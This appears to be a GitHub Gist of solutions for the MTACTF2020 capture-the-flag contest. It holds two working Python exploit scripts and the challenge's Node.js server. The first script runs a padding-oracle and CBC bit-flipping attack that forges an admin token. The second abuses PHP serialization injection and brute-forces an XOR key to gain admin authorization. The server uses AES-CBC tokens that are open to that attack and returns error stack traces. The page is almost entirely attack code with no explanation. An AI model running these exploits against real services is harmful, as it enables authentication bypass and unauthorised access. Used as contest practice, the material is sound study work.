-
-
Save asdcxsd/4ac83abdf98c2921dab876c7e5e99494 to your computer and use it in GitHub Desktop.
MTACTF2020
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import requests | |
import time | |
import random | |
def get_random_string(length): | |
letters = "".join(chr(i) for i in range(256)) | |
result_str = ''.join(random.choice(letters) for i in range(length)) | |
return result_str | |
url = "http://bu.gbounty.cc:9000" | |
def gettoken(url): | |
print "[+] Get token: ", | |
text = requests.get(url).text | |
regex = "[a-f0-9]{96}" | |
token = re.findall(regex, text)[0] | |
print token | |
return token | |
def check(token): | |
req = requests.get(url + '/flag?token='+ token) | |
if 'bad decrypt' not in req.text: | |
if 'JSON.parse' in req.text: | |
return 1 | |
else: | |
return 2 | |
else: | |
return 0 | |
def xor(a, b): | |
ans = "" | |
for i in range(len(a)): | |
ans += chr(ord(a[i])^ord(b[i])) | |
return ans | |
def padding_oracle(url, token, block, blocksize): | |
start_time = time.time() | |
le = token[:block-blocksize] | |
re = token[block:] | |
hv = "" | |
for vt in range(16): | |
print '[*] Find: ', vt | |
print '[-] Time: ', time.time() - start_time , 's' | |
for i in range(256): | |
tk = (le + token[block-blocksize:block-vt-1] + chr(i) + xor(hv, chr(vt+1)*vt) + re).encode('hex') | |
ans = check(tk) | |
if (ans == 1): | |
hv = chr(i^(vt+1)) + hv | |
break | |
print "[+] Stop padding padding oracle: " , time.time() - start_time, "s" | |
print "[+] answer: ", hv.encode('hex') | |
return hv | |
def main(): | |
token = gettoken(url).decode('hex') | |
token_po = token[:32] + xor(xor(token[16:32], 'onymous"}' + chr(7)*7) , '"user":"admin"}' + chr(1)) | |
ans_padding = padding_oracle(url, token_po, 32, 16); | |
while(1): | |
token_check = token[:32] + xor(ans_padding, get_random_string(14) + '",')+ xor( xor(token[16:32],'onymous"}' + chr(7)*7 ), '"user":"admin"}' + chr(1) ) +token[32:] | |
ans = check(token_check.encode('hex')) | |
if ans == 2: | |
print "[+] Success: ", token_check.encode('hex') | |
print "[+] Flag: " , requests.get(url + '/flag?token=' + token_check.encode('hex')).text | |
break | |
#66d6f1b9008a352c4d44022bb4487ac9050787954232786faebdaace3cbedd5ad032215e03dfd0337f3d80f775398be8481c8d9d5f65316fb2dec0a0559ba75c2be2aee3f3248d13763493bb4e6372fb | |
if __name__ == '__main__': | |
main(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
#chi ap dung php7.0 | |
import string | |
import random | |
import requests | |
import base64 | |
import uuid | |
url = "http://192.168.133.146/CTFMTA/" | |
total_request = 0 | |
def register(username, password): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Accept': 'text/html;', | |
'Cookie': 'PHPSESSID=6mljc3dpohmnack8o6lgqhl1a3' | |
} | |
payload ={} | |
payload['username'] = username | |
payload['password'] = password | |
global total_request | |
total_request += 1 | |
r = requests.post(url + 'register.php', headers = headers, data=payload) | |
if u'Đăng ký thành công.' in r.text: | |
return 1 | |
assert 1== 2 | |
return 0 | |
def login(username, password, enprint = 0): | |
sessionid = 'PHPSESSID=' + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(26)) | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Accept': 'text/html', | |
'Cookie': sessionid | |
} | |
payload ={} | |
payload['username'] = username | |
payload['password'] = password | |
global total_request | |
r = requests.post(url + 'login.php', headers = headers, data=payload, allow_redirects=False) | |
total_request += 1 | |
r = requests.get(url + 'index.php', headers = headers ) | |
total_request += 1 | |
if enprint == 1: | |
flag = r.text | |
flag = flag.split('<br>')[1]; | |
vt = flag.find("}") | |
print "Flag: ", flag[:vt+1] | |
if u'Xin chào' in r.text: | |
k = requests.get(url + 'logout.php', headers = headers ) | |
total_request += 1 | |
if (u'Đại vương gọi ta đi tuần núi!' in r.text): | |
return 2 | |
return 1 | |
assert 1==2 | |
return 0 | |
def exploit(s, enprint = 0): | |
res = 0 | |
s = base64.b64encode(s) | |
username = '\\0'*24 | |
password = 'a";s:8:"password";s:1:"a";s:9:"authorize";s:{}:"{}";}};s:1:"a'.format(len(s),s) | |
while (res == 0): | |
username_temp = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20)) + username | |
res = register(username_temp, password) | |
username = username_temp | |
if (enprint == 1): | |
print "[Exploit] username, password: ", username, password | |
return login(username, password, enprint) | |
def find_char(ans, sl = 4): | |
res = 2 | |
while (res != 1 ): | |
temp = ''.join(chr(random.randint(0, 255)) for _ in range(sl)) | |
res = exploit(ans + temp); | |
assert res != 0 | |
return temp | |
#cau truc O user = O:4:"User":3:{s:8:"username";s:3:"aaa";s:8:"password";s:3:"aaa";s:9:"authorize";s:5:"12345";} | |
#cau truc O userinject | |
# 'O:4:"User":3:{s:8:"username";s:25:"a";s:8:"password";s:10:"a";s:8:"password";s:1:"a";s:9:"authorize";s:5:"12345";};s:1:"a"};s:9:"authorize";s:5:"12345"}'; | |
##========================================================================== | |
STRING_OF_KEY = "" | |
LIB_OF_XOR_BASE64 = []; | |
LIB_OF_XOR_BASE64_NOT_1 = []; | |
def super_xor(a, b): | |
ans = "" | |
for i in range(len(a)): | |
ans += chr(ord(a[i]) ^ ord(b[i % len(b)])); | |
return ans | |
def generator(size_of_key, string_of_base64, length_brute): | |
ans = [] | |
for i in range(size_of_key): | |
ans.append(0); | |
for j in range(length_brute): | |
ans[-1]*=2; | |
if (chr(i^j) in string_of_base64): | |
ans[-1]+=1; | |
return ans | |
def getkey(): | |
SIZE_OF_KEY = 256; | |
length_brute = 140; | |
# khong gian khoa cua key | |
# 128 chi can khong gian 77 | |
# 256 chi can khong gian 133 | |
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1 | |
STRING_OF_BASE64 = string.ascii_letters + string.digits + "+/=\x20\x0d\x0a\x09" | |
LIB_OF_XOR_BASE64 = generator(SIZE_OF_KEY,STRING_OF_BASE64, length_brute) | |
# tao ra mang hang cac truong hop co the sinh ra khi xor key voi khong quan khoa | |
STRING_OF_BASE64_NOT_1 = string.ascii_letters + string.digits + "+/\x20\x0d\x0a\x09" | |
LIB_OF_XOR_BASE64_NOT_1 = generator(SIZE_OF_KEY,STRING_OF_BASE64_NOT_1, length_brute) | |
STRING_OF_KEY = "".join(chr(i) for i in range(SIZE_OF_KEY)) | |
return length_brute | |
def bruteforce_key(length_key, length_brute): | |
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1 | |
ans_xor = ""; | |
ans = ""; | |
for i in range(length_key): | |
print "Find ", i | |
idnumber = 0; | |
for ch in STRING_OF_KEY[:length_brute]: | |
idnumber *= 2; | |
stringtest = ans_xor + ch | |
ck = exploit(stringtest) | |
if ck == 1: | |
idnumber += 1 | |
#theo version php 7.0 | |
if (i%4 != 1): | |
ans_char = LIB_OF_XOR_BASE64.index(idnumber) | |
else: | |
ans_char = LIB_OF_XOR_BASE64_NOT_1.index(idnumber) | |
print "OK: ", chr(ans_char).encode('hex'), total_request | |
ans += chr(ans_char) | |
ans_xor += chr(ans_char^ord('a')) | |
print "[KEY] ", ans.encode('hex') | |
payload = super_xor(base64.b64encode("admin"), ans); | |
print "[KEY INJECT] " , payload | |
exploit(payload, 1) | |
def bypass_xor(): | |
length_brute = getkey() | |
print "generater ok" | |
bruteforce_key(8, length_brute); | |
if __name__ == '__main__': | |
bypass_xor(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
const fs = require("fs"); | |
const crypto = require("crypto"); | |
const http = require("http"); | |
const KEY = fs.readFileSync("key.txt"); | |
const FLAG = fs.readFileSync("flag.txt", "utf8"); | |
function generateToken(username) { | |
const payload = { time: Date.now(), user: username }; | |
const cipher = crypto.createCipher("AES-192-CBC", KEY); | |
let token = cipher.update(JSON.stringify(payload), "binary", "hex"); | |
token += cipher.final("hex"); | |
return token; | |
} | |
function validateToken(token, username) { | |
if (!token) { | |
throw new Error("no token provided"); | |
} | |
const decipher = crypto.createDecipher("AES-192-CBC", KEY); | |
let plaintext = decipher.update(token, "hex", "binary"); | |
plaintext += decipher.final("binary"); | |
const payload = JSON.parse(plaintext); | |
if (Date.now() - payload.time > 1000 * 60 * 60 * 24 * 30) { | |
throw new Error("token > 30 days old"); | |
} | |
if (payload.user !== username) { | |
throw new Error("wrong user"); | |
} | |
} | |
http | |
.createServer((req, res) => { | |
var URL = require('url').URL; | |
const url = new URL(req.url, "https://localhost:9000"); | |
try { | |
switch (url.pathname) { | |
case "/": | |
res.writeHead(200, { "Content-Type": "text/plain" }); | |
res.end( | |
`Welcome, anonymous. Your token is ${generateToken("anonymous")}.\nProvide your token on /flag?token=<token> to get flag!` | |
); | |
break; | |
case "/flag": | |
validateToken(url.searchParams.get("token"), "admin"); | |
res.writeHead(200, { "Content-Type": "text/plain" }); | |
res.end(FLAG); | |
break; | |
default: | |
res.writeHead(404, { "Content-Type": "text/plain" }); | |
res.end("Not found"); | |
} | |
} catch (err) { | |
res.writeHead(500, { "Content-Type": "text/plain" }); | |
res.end(err.stack); | |
} | |
}) | |
.listen(9000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment